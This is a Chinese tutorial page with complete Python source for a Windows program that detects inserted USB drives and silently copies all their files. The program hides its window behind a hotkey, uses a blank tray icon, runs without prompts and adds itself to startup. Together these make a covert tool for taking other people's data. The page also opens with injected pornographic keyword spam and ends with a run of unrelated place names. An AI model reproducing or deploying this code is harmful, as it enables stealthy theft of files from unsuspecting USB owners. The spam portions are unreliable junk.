最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

使用Python實(shí)現(xiàn)U盤數(shù)據(jù)自動(dòng)拷貝

 更新時(shí)間:2025年02月05日 10:08:11   作者:mosquito_lover1  
這篇文章主要為大家詳細(xì)介紹了如何使用Python實(shí)現(xiàn)U盤數(shù)據(jù)自動(dòng)拷貝,即當(dāng)電腦上有U盤插入時(shí)自動(dòng)復(fù)制U盤內(nèi)的所有內(nèi)容,希望對大家有所幫助

功能

當(dāng)電腦上有U盤插入時(shí),自動(dòng)復(fù)制U盤內(nèi)的所有內(nèi)容

主要特點(diǎn)

1、使用PyQt5創(chuàng)建圖形界面,但默認(rèn)隱藏

2、通過Ctrl+Alt+U組合鍵可以顯示/隱藏界面

3、自動(dòng)添加到Windows啟動(dòng)項(xiàng)

4、監(jiān)控USB設(shè)備插入

5、按修改時(shí)間排序復(fù)制文件

6、靜默運(yùn)行,無提示

7、自動(dòng)跳過無法復(fù)制的文件

8、配置文件保存目標(biāo)路徑

使用說明

1、首次運(yùn)行時(shí),按Ctrl+Alt+U顯示界面

2、點(diǎn)擊"選擇目標(biāo)文件夾"按鈕設(shè)置保存位置

3、設(shè)置完成后可以關(guān)閉界面,程序會(huì)在后臺運(yùn)行

4、插入U(xiǎn)盤后會(huì)自動(dòng)復(fù)制內(nèi)容到指定文件夾

 靜默界面

實(shí)現(xiàn)代碼

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                           QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmap
 
class USBCopyTool(QMainWindow):
    def __init__(self):
        super().__init__()
        self.config_file = 'config.json'
        self.target_path = self.load_config()
        self.init_ui()
        self.setup_system_tray()
        self.setup_hotkey()
        
        # 添加窗口事件過濾器
        self.installEventFilter(self)
        
        # 啟動(dòng)USB監(jiān)控線程
        self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)
        self.monitor_thread.start()
 
    def init_ui(self):
        self.setWindowTitle('USB自動(dòng)復(fù)制工具')
        self.setGeometry(300, 300, 400, 200)
        
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        layout = QVBoxLayout()
        
        self.path_label = QLabel(f'當(dāng)前目標(biāo)路徑: {self.target_path}')
        layout.addWidget(self.path_label)
        
        select_btn = QPushButton('選擇目標(biāo)文件夾')
        select_btn.clicked.connect(self.select_target_path)
        layout.addWidget(select_btn)
        
        central_widget.setLayout(layout)
        self.hide()
 
    def setup_system_tray(self):
        self.tray_icon = QSystemTrayIcon(self)
        # 創(chuàng)建一個(gè)1x1的空白圖標(biāo)而不是完全沒有圖標(biāo)
        blank_icon = QIcon()
        blank_icon.addPixmap(QPixmap(1, 1))
        self.tray_icon.setIcon(blank_icon)
        self.tray_icon.show()
 
    def setup_hotkey(self):
        # 注冊全局熱鍵 (Ctrl+Alt+U)
        self.hot_key_id = 1
        try:
            win32gui.RegisterHotKey(self.winId(), self.hot_key_id, 
                                  win32con.MOD_CONTROL | win32con.MOD_ALT, 
                                  ord('U'))
        except Exception as e:
            print(f"熱鍵注冊失敗: {e}")
 
    def nativeEvent(self, eventType, message):
        try:
            if eventType == "windows_generic_MSG":
                msg = wintypes.MSG.from_address(message.__int__())
                if msg.message == win32con.WM_HOTKEY:
                    if self.isVisible():
                        self.hide()
                    else:
                        self.show()
                    return True, 0
        except Exception as e:
            print(f"事件處理錯(cuò)誤: {e}")
        return False, 0
 
    def load_config(self):
        try:
            with open(self.config_file, 'r') as f:
                config = json.load(f)
                return config.get('target_path', '')
        except:
            return ''
 
    def save_config(self):
        with open(self.config_file, 'w') as f:
            json.dump({'target_path': self.target_path}, f)
 
    def select_target_path(self):
        path = QFileDialog.getExistingDirectory(self, '選擇目標(biāo)文件夾')
        if path:
            self.target_path = path
            self.path_label.setText(f'當(dāng)前目標(biāo)路徑: {self.target_path}')
            self.save_config()
 
    def monitor_usb(self):
        drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
        print(f"初始驅(qū)動(dòng)器: {drives_before}")
        
        while True:
            try:
                drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
                new_drives = drives_now - drives_before
                
                if new_drives:
                    print(f"檢測到新驅(qū)動(dòng)器: {new_drives}")
                    for drive in new_drives:
                        drive_type = win32file.GetDriveType(drive)
                        print(f"驅(qū)動(dòng)器 {drive} 類型: {drive_type}")
                        if drive_type == win32con.DRIVE_REMOVABLE:
                            print(f"開始復(fù)制U盤 {drive} 內(nèi)容")
                            self.copy_usb_contents(drive)
                
                drives_before = drives_now
                time.sleep(1)
            except Exception as e:
                print(f"監(jiān)控錯(cuò)誤: {e}")
                time.sleep(1)
 
    def copy_usb_contents(self, drive):
        if not self.target_path:
            print("未設(shè)置目標(biāo)路徑")
            return
            
        # 獲取U盤卷標(biāo)名稱
        try:
            volume_name = win32api.GetVolumeInformation(drive)[0]
            # 如果U盤沒有卷標(biāo)名稱,則使用盤符
            if not volume_name:
                volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            # 替換非法字符
            volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')
        except Exception as e:
            print(f"獲取卷標(biāo)名稱失敗: {e}")
            volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            
        target_folder = os.path.join(self.target_path, volume_name)
        print(f"復(fù)制到目標(biāo)文件夾: {target_folder}")
        
        if not os.path.exists(target_folder):
            os.makedirs(target_folder)
            
        # 獲取所有文件并按修改時(shí)間排序
        all_files = []
        try:
            for root, dirs, files in os.walk(drive):
                print(f"掃描目錄: {root}")
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        mtime = os.path.getmtime(file_path)
                        all_files.append((file_path, mtime))
                    except Exception as e:
                        print(f"無法獲取文件信息: {file_path}, 錯(cuò)誤: {e}")
                        continue
        except Exception as e:
            print(f"掃描目錄失敗: {e}")
                    
        all_files.sort(key=lambda x: x[1], reverse=True)
        print(f"找到 {len(all_files)} 個(gè)文件")
        
        # 復(fù)制文件
        for file_path, _ in all_files:
            try:
                rel_path = os.path.relpath(file_path, drive)
                target_path = os.path.join(target_folder, rel_path)
                target_dir = os.path.dirname(target_path)
                if not os.path.exists(target_dir):
                    os.makedirs(target_dir)
                print(f"復(fù)制文件: {file_path} -> {target_path}")
                shutil.copy2(file_path, target_path)
            except Exception as e:
                print(f"復(fù)制失敗: {file_path}, 錯(cuò)誤: {e}")
                continue
 
    def eventFilter(self, obj, event):
        if obj is self and event.type() == QEvent.WindowStateChange:
            if self.windowState() & Qt.WindowMinimized:
                # 延遲執(zhí)行隱藏操作,避免界面閃爍
                QTimer.singleShot(0, self.hide)
                # 恢復(fù)窗口狀態(tài),這樣下次顯示時(shí)是正常狀態(tài)
                self.setWindowState(Qt.WindowNoState)
                return True
        return super().eventFilter(obj, event)
 
def add_to_startup():
    try:
        startup_path = os.path.join(os.getenv('APPDATA'), 
                                  r'Microsoft\Windows\Start Menu\Programs\Startup')
        script_path = os.path.abspath(sys.argv[0])
        shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')
        
        shell = win32com.client.Dispatch("WScript.Shell")
        shortcut = shell.CreateShortCut(shortcut_path)
        shortcut.Targetpath = script_path
        shortcut.WorkingDirectory = os.path.dirname(script_path)
        shortcut.save()
    except Exception as e:
        print(f"添加到啟動(dòng)項(xiàng)失敗: {e}")
 
if __name__ == '__main__':
    # 確保只運(yùn)行一個(gè)實(shí)例
    mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        sys.exit(0)
        
    add_to_startup()
    app = QApplication(sys.argv)
    tool = USBCopyTool()
    sys.exit(app.exec_()) 

以上就是使用Python實(shí)現(xiàn)U盤數(shù)據(jù)自動(dòng)拷貝的詳細(xì)內(nèi)容,更多關(guān)于Python U盤數(shù)據(jù)拷貝的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • python創(chuàng)造虛擬環(huán)境方法總結(jié)

    python創(chuàng)造虛擬環(huán)境方法總結(jié)

    在本篇內(nèi)容里我們給大家整理了關(guān)于python創(chuàng)造虛擬環(huán)境的詳細(xì)方法和步驟,需要的朋友們學(xué)習(xí)下。
    2019-03-03
  • 詳解pyinstaller selenium python3 chrome打包問題

    詳解pyinstaller selenium python3 chrome打包問題

    這篇文章主要介紹了詳解pyinstaller selenium python3 chrome打包問題,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-10-10
  • Python Matplotlib 基于networkx畫關(guān)系網(wǎng)絡(luò)圖

    Python Matplotlib 基于networkx畫關(guān)系網(wǎng)絡(luò)圖

    這篇文章主要介紹了Python Matplotlib 基于networkx畫關(guān)系網(wǎng)絡(luò)圖,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-07-07
  • Python集合pop()函數(shù)使用方法詳解

    Python集合pop()函數(shù)使用方法詳解

    這篇文章主要介紹了Python 集合 pop()函數(shù)的使用方法,文中有詳細(xì)的代碼實(shí)例,講解的非常清楚,具有一定的參考價(jià)值,需要的朋友可以參考下
    2023-07-07
  • Python突破多線程限制GIL問題的4種實(shí)戰(zhàn)解法

    Python突破多線程限制GIL問題的4種實(shí)戰(zhàn)解法

    GIL(全局解釋器鎖)是CPython解釋器的核心特性,其本質(zhì)是“同一時(shí)刻僅允許一個(gè)線程執(zhí)行Python字節(jié)碼”,這直接導(dǎo)致Python多線程在CPU密集型任務(wù)中無法利用多核優(yōu)勢,本文整理了4種實(shí)戰(zhàn)解法,大家可以根據(jù)需要進(jìn)行選擇
    2025-12-12
  • python中常用的內(nèi)置模塊匯總

    python中常用的內(nèi)置模塊匯總

    Python內(nèi)置的模塊有很多,我們也已經(jīng)接觸了不少相關(guān)模塊,接下來咱們就來做一些匯總和介紹,在此我會(huì)整理出項(xiàng)目開發(fā)最常用的來進(jìn)行講解,感興趣的朋友跟隨小編一起看看吧
    2022-01-01
  • Python實(shí)現(xiàn)層次分析法及自調(diào)節(jié)層次分析法的示例

    Python實(shí)現(xiàn)層次分析法及自調(diào)節(jié)層次分析法的示例

    這篇文章主要介紹了Python實(shí)現(xiàn)層次分析法及自調(diào)節(jié)層次分析法的示例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-04-04
  • Python中的解包(tuple和dict的解包、*、**)的幾種使用方法

    Python中的解包(tuple和dict的解包、*、**)的幾種使用方法

    本文主要介紹了Python中的解包的使用,包括uple和dict的解包、*、**,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2025-11-11
  • python 地圖經(jīng)緯度轉(zhuǎn)換、糾偏的實(shí)例代碼

    python 地圖經(jīng)緯度轉(zhuǎn)換、糾偏的實(shí)例代碼

    這篇文章主要介紹了python 地圖經(jīng)緯度轉(zhuǎn)換、糾偏的實(shí)例代碼,非常不錯(cuò),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2018-08-08
  • 基于Python實(shí)現(xiàn)n-gram文本生成的示例代碼

    基于Python實(shí)現(xiàn)n-gram文本生成的示例代碼

    N-gram是自然語言處理中常用的技術(shù),它可以用于文本生成、語言模型訓(xùn)練等任務(wù),本文主要介紹了如何在Python中實(shí)現(xiàn)n-gram文本生成,需要的可以參考下
    2024-01-01

最新評論

江川县| 威海市| 浦城县| 厦门市| 堆龙德庆县| 尉氏县| 金昌市| 同心县| 察隅县| 仙游县| 个旧市| 九龙坡区| 广元市| 海城市| 博罗县| 肇东市| 肃南| 浑源县| 乾安县| 依兰县| 中卫市| 平昌县| 土默特左旗| 宜城市| 平顶山市| 五家渠市| 弥渡县| 湄潭县| 竹北市| 安福县| 襄垣县| 新绛县| 平阳县| 甘洛县| 百色市| 嘉义市| 特克斯县| 阿巴嘎旗| 固始县| 崇左市| 扎赉特旗|